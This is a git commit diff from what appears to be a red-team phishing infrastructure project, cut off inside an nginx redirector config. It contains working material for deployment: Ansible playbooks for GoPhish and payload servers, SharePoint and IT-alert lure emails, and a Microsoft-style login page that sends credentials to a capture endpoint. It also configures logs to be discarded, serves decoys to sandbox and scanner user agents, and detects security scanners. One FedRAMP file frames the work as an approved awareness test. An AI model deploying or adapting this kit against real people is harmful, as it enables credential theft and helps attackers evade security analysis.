restructuring for easier navigation and modularity

This commit is contained in:
n0mad1k
2025-07-04 23:12:39 -04:00
parent 8743a4cfdf
commit 32aad50820
110 changed files with 2474 additions and 1 deletions
+1 -1
View File
@@ -24,7 +24,7 @@
---
### 📍 Where I Left Off
- Working on: Need to fix issue with AWS deployment security hardening playbook
- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be
- Next Priority: Test core deployment
- Blockers: Sleep
+24
View File
@@ -0,0 +1,24 @@
---
# Payload Redirector Deployment Playbook
- name: Deploy payload redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload redirector based on provider
include_tasks: "../{{ provider | upper }}/redirector.yml"
vars:
redirector_name: "{{ payload_redirector_name }}"
redirector_type: "payload"
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
- name: Configure payload redirector
include_tasks: "../tasks/configure_payload_redirector.yml"
when: not skip_configuration | default(false)
+23
View File
@@ -0,0 +1,23 @@
---
# Payload Server Deployment Playbook
- name: Deploy payload server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload server based on provider
include_tasks: "../{{ provider | upper }}/c2.yml"
vars:
c2_name: "{{ payload_server_name }}"
server_type: "payload"
- name: Configure payload server
include_tasks: "../tasks/configure_payload_server.yml"
when: not skip_configuration | default(false)
+59
View File
@@ -0,0 +1,59 @@
---
# Phishing Infrastructure Cleanup Playbook
- name: Clean up phishing infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
tasks:
- name: Load deployment state
include_vars:
file: "phishing_deployment_state_{{ deployment_id }}.json"
register: deployment_state
ignore_errors: yes
- name: Show cleanup information
debug:
msg: |
************************************************
* PHISHING CLEANUP OPERATION *
************************************************
The following resources will be DELETED PERMANENTLY:
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
{% if cleanup_payload_infra | default(false) %}
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
{% endif %}
when: confirm_cleanup | bool
- name: Confirm cleanup operation
pause:
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
register: confirmation
when: confirm_cleanup | bool
- name: Skip cleanup if not confirmed
meta: end_play
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
- name: Run provider-specific cleanup
include_tasks: "../{{ provider | upper }}/cleanup.yml"
vars:
cleanup_redirector: true
cleanup_c2: true
cleanup_tracker: false
redirector_name: "{{ phishing_redirector_name }}"
c2_name: "{{ gophish_server_name }}"
- name: Remove deployment state file
file:
path: "phishing_deployment_state_{{ deployment_id }}.json"
state: absent
@@ -0,0 +1,118 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document Shared</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
</td>
<td align="right">
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hi {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
</p>
<!-- File Preview -->
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
</td>
<td>
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- Sender Message -->
{% if include_message | default(true) %}
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
</p>
</div>
{% endif %}
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Open in SharePoint
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
This link will expire in {{ expiry_days | default('7') }} days.<br>
Only people with the link can access this file.
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
Get the SharePoint mobile app
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
</td>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -0,0 +1,95 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Password Expiration Notice</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
</td>
</tr>
<!-- Warning Banner -->
<tr>
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td style="padding-right: 10px;">
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
</td>
<td>
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hello {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
To prevent any interruption to your access, please update your password before it expires.
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
Password requirements:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
<li>Minimum 12 characters</li>
<li>At least one uppercase letter</li>
<li>At least one lowercase letter</li>
<li>At least one number</li>
<li>At least one special character</li>
<li>Cannot be the same as your last 5 passwords</li>
</ul>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Update Password Now
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
If you're unable to click the button above, copy and paste this link into your browser:<br>
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This is an automated message from {{ organization | default('IT Department') }}.<br>
Please do not reply to this email.<br>
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -0,0 +1,103 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Alert</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Dear {{ "{{.FirstName}}" }},
</p>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
We detected unusual sign-in activity on your account:
</p>
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
</tr>
</table>
</td>
</tr>
</table>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
<strong>If this was you:</strong> You can safely ignore this email.<br>
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Secure My Account
</a>
</td>
</tr>
</table>
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
<strong>What happens next?</strong><br>
We'll guide you through securing your account, including:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
<li>Verifying your identity</li>
<li>Reviewing recent account activity</li>
<li>Updating your password</li>
<li>Enabling additional security measures</li>
</ul>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This security alert was sent to {{ "{{.Email}}" }}<br>
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
+87
View File
@@ -0,0 +1,87 @@
# FedRAMP Phishing Test Compliance Configuration
# This configuration ensures compliance with FedRAMP requirements
compliance_mode: fedramp
test_type: user_awareness_only
# Email Configuration
email_settings:
# Emails must be whitelisted on all security systems
require_whitelist: true
bypass_security_controls: true
# No modification of emails allowed
allow_header_modification: false
allow_content_filtering: false
# Tracking requirements
tracking:
- email_opened (via pixel)
- link_clicked
- credentials_submitted
- user_identity (tied to actions)
# Landing Page Requirements
landing_page:
# Must immediately identify as phishing test
show_phishing_notice: true
phishing_notice_text: |
This was a phishing simulation!
You should never enter your credentials on suspicious websites.
# Educational content required
include_education: true
education_content:
- How to identify phishing emails
- Red flags to watch for
- Reporting procedures
- Best practices for email security
# Reporting Requirements
reporting:
# No PII in reports
anonymize_data: true
report_format: aggregate_only
# Required metrics
metrics:
- total_emails_sent
- emails_opened_percentage
- links_clicked_percentage
- credentials_submitted_percentage
- department_breakdown
- role_based_statistics
# Prohibited data
exclude:
- individual_names
- specific_email_addresses
- personal_identifiers
# Technical Configuration
technical:
# Simple campaign only
campaign_type: basic_phishing_test
# No exploitation
allow_malware: false
allow_exploitation: false
allow_persistence: false
# Clean tracking only
tracking_methods:
- pixel_tracking
- unique_urls
- form_submission
# Approval Process
approval:
requires_3pao_approval: true
requires_template_review: true
approval_documentation: required
# Post-Test Requirements
post_test:
notify_failures: true
provide_training: true
remediation_timeline: 30_days
@@ -0,0 +1,42 @@
{
"admin_server": {
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
"use_tls": false,
"cert_path": "",
"key_path": ""
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"logging": {
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
},
"webhook": {
"enabled": {{ enable_webhooks | default(false) | lower }},
"url": "{{ webhook_url | default('') }}",
"secret": "{{ webhook_secret | default('') }}"
},
"email": {
"smtp": {
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
"port": 25,
"use_auth": true,
"username": "{{ smtp_auth_user }}",
"password": "{{ smtp_auth_pass }}",
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"ignore_cert_errors": true
},
"imap": {
"enabled": false
}
}
}
@@ -0,0 +1,40 @@
server {
listen 80;
server_name _;
root /var/www/phishing;
index index.html index.php;
# Disable all logging
access_log off;
error_log /dev/null crit;
# PHP processing
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Template routing
location /templates/ {
try_files $uri $uri/ =404;
}
# Static resources
location /static/ {
try_files $uri $uri/ =404;
}
# Default
location / {
try_files $uri $uri/ /index.html;
}
}
+220
View File
@@ -0,0 +1,220 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ page_title | default('Sign in to your account') }}</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background: white;
padding: 40px;
border-radius: 2px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
width: 440px;
max-width: 90%;
}
.logo {
text-align: left;
margin-bottom: 24px;
}
.logo img {
height: 24px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin-bottom: 16px;
color: #1a1a1a;
}
.form-group {
margin-bottom: 16px;
}
input[type="email"],
input[type="password"],
input[type="text"] {
width: 100%;
padding: 10px 12px;
border: 1px solid #605e5c;
border-radius: 2px;
font-size: 15px;
transition: border-color 0.2s;
}
input[type="email"]:focus,
input[type="password"]:focus,
input[type="text"]:focus {
outline: none;
border-color: #0078d4;
}
.forgot-password {
display: block;
margin: 8px 0 16px;
color: #0078d4;
text-decoration: none;
font-size: 13px;
}
.forgot-password:hover {
text-decoration: underline;
}
.btn-primary {
width: 100%;
padding: 12px;
background: #0078d4;
color: white;
border: none;
border-radius: 2px;
font-size: 16px;
cursor: pointer;
transition: background 0.2s;
}
.btn-primary:hover {
background: #106ebe;
}
.error-message {
color: #d13438;
font-size: 13px;
margin-top: 8px;
display: none;
}
.loading {
display: none;
text-align: center;
margin-top: 20px;
}
.spinner {
border: 2px solid #f3f3f3;
border-top: 2px solid #0078d4;
border-radius: 50%;
width: 20px;
height: 20px;
animation: spin 1s linear infinite;
display: inline-block;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.footer {
margin-top: 40px;
font-size: 12px;
color: #605e5c;
text-align: center;
}
.footer a {
color: #605e5c;
text-decoration: none;
}
.footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
</div>
<h1>{{ heading | default('Sign in') }}</h1>
<form id="loginForm" method="POST" action="/capture.php">
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
<div class="form-group">
<input type="email"
name="username"
id="username"
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
required>
</div>
<div class="form-group">
<input type="password"
name="password"
id="password"
placeholder="{{ password_placeholder | default('Password') }}"
required>
</div>
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
<div class="error-message" id="error">
{{ error_message | default('Invalid username or password.') }}
</div>
<button type="submit" class="btn-primary">
{{ button_text | default('Sign in') }}
</button>
<div class="loading" id="loading">
<div class="spinner"></div>
<p>{{ loading_text | default('Signing in...') }}</p>
</div>
</form>
<div class="footer">
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
</div>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
// Show loading state
document.getElementById('loading').style.display = 'block';
document.querySelector('.btn-primary').style.display = 'none';
// Submit form data
fetch(this.action, {
method: 'POST',
body: new FormData(this)
})
.then(response => {
// Redirect after a delay to simulate processing
setTimeout(() => {
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
}, 2000);
})
.catch(error => {
document.getElementById('error').style.display = 'block';
document.getElementById('loading').style.display = 'none';
document.querySelector('.btn-primary').style.display = 'block';
});
});
</script>
</body>
</html>
@@ -0,0 +1,69 @@
{
"deployment_id": "{{ deployment_id }}",
"deployment_time": "{{ ansible_date_time.iso8601 }}",
"provider": "{{ provider }}",
"region": "{{ aws_region | default(linode_region) | default('') }}",
"infrastructure": {
"mta_front": {
"name": "{{ mta_front_name }}",
"ip": "{{ mta_front_ip | default('') }}",
"instance_id": "{{ mta_instance_id | default('') }}"
},
"gophish_server": {
"name": "{{ gophish_server_name }}",
"ip": "{{ gophish_server_ip | default('') }}",
"instance_id": "{{ gophish_instance_id | default('') }}",
"admin_port": "{{ gophish_admin_port }}"
},
"phishing_webserver": {
"name": "{{ phishing_web_name }}",
"ip": "{{ phishing_web_ip | default('') }}",
"instance_id": "{{ phishing_web_instance_id | default('') }}"
},
"phishing_redirector": {
"name": "{{ phishing_redirector_name }}",
"ip": "{{ phishing_redirector_ip | default('') }}",
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
},
{% if deploy_payload_infra | default(false) %}
"payload_server": {
"name": "{{ payload_server_name }}",
"ip": "{{ payload_server_ip | default('') }}",
"instance_id": "{{ payload_server_instance_id | default('') }}"
},
"payload_redirector": {
"name": "{{ payload_redirector_name }}",
"ip": "{{ payload_redirector_ip | default('') }}",
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
},
{% endif %}
},
"domains": {
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
{% if deploy_payload_infra | default(false) %}
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
{% endif %}
},
"credentials": {
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
"smtp_auth_user": "{{ smtp_auth_user }}",
"smtp_settings": {
"host": "{{ mta_front_ip }}",
"port": 25,
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
}
},
"security_groups": {
{% if provider == 'aws' %}
"mta_sg": "{{ mta_security_group_id | default('') }}",
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
"web_sg": "{{ web_security_group_id | default('') }}",
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
{% endif %}
}
}
+71
View File
@@ -0,0 +1,71 @@
# Postfix MTA Front Configuration for Phishing Infrastructure
# This server acts as the front-end mail relay
# Basic settings
myhostname = {{ mta_hostname | default('mail.' + domain) }}
mydomain = {{ domain }}
myorigin = $mydomain
mydestination = $myhostname, localhost
inet_interfaces = all
inet_protocols = ipv4
# Network settings
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
relay_domains = $mydestination
# SMTP smuggling mitigation
smtpd_forbid_bare_newline = yes
smtpd_forbid_bare_newline_reject_code = 550
# TLS Configuration
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
smtpd_use_tls = yes
smtpd_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_security_level = may
# SASL Authentication
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_authenticated_header = yes
# Restrictions
smtpd_helo_required = yes
smtpd_recipient_restrictions =
permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
reject_unauth_pipelining,
reject_invalid_helo_hostname,
reject_non_fqdn_helo_hostname
# Rate limiting
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
# Message size and queue settings
message_size_limit = {{ max_message_size | default(10240000) }}
mailbox_size_limit = 0
queue_lifetime = 1h
maximal_queue_lifetime = 1h
bounce_queue_lifetime = 0
# Header modifications
header_checks = regexp:/etc/postfix/header_checks
# DKIM signing
milter_default_action = accept
milter_protocol = 6
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
# Logging
{% if zero_logs | default(true) %}
# Zero-logs configuration
syslog_facility = local0
syslog_name =
maillog_file = /dev/null
{% endif %}
View File
@@ -0,0 +1,82 @@
# Payload Redirector Configuration
# Serves payloads with anti-analysis features
server {
listen 80;
listen [::]:80;
server_name {{ payload_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ payload_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
root /var/www/payloads;
# Anti-analysis headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Download-Options "noopen" always;
add_header X-Robots-Tag "noindex, nofollow" always;
# Serve different content based on user agent
location ~ ^/download/(.+)$ {
# Check if request is from analysis environment
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
# Serve benign file
rewrite ^/download/(.+)$ /benign/document.pdf last;
}
# Check for valid download token
secure_link $arg_token,$arg_expires;
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
if ($secure_link = "") {
return 403;
}
if ($secure_link = "0") {
return 410;
}
# Serve actual payload
try_files /payloads/$1 =404;
}
# Direct file access with referrer check
location /files/ {
valid_referers none blocked server_names
*.{{ domain }}
{{ allowed_referrers | default([]) | join(' ') }};
if ($invalid_referer) {
return 403;
}
alias /var/www/payloads/;
autoindex off;
}
# Benign files for analysis environments
location /benign/ {
alias /var/www/payloads/benign/;
autoindex off;
}
# Block all other access
location / {
return 404;
}
{% if zero_logs | default(true) %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
@@ -0,0 +1,104 @@
# Phishing Redirector Configuration
# Advanced evasion and filtering
# Security tool detection
map $http_user_agent $is_security_scanner {
default 0;
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
}
# Geo-filtering map
map $geoip_country_code $allowed_country {
default 1;
{% for country in blocked_countries | default([]) %}
{{ country }} 0;
{% endfor %}
}
server {
listen 80;
listen [::]:80;
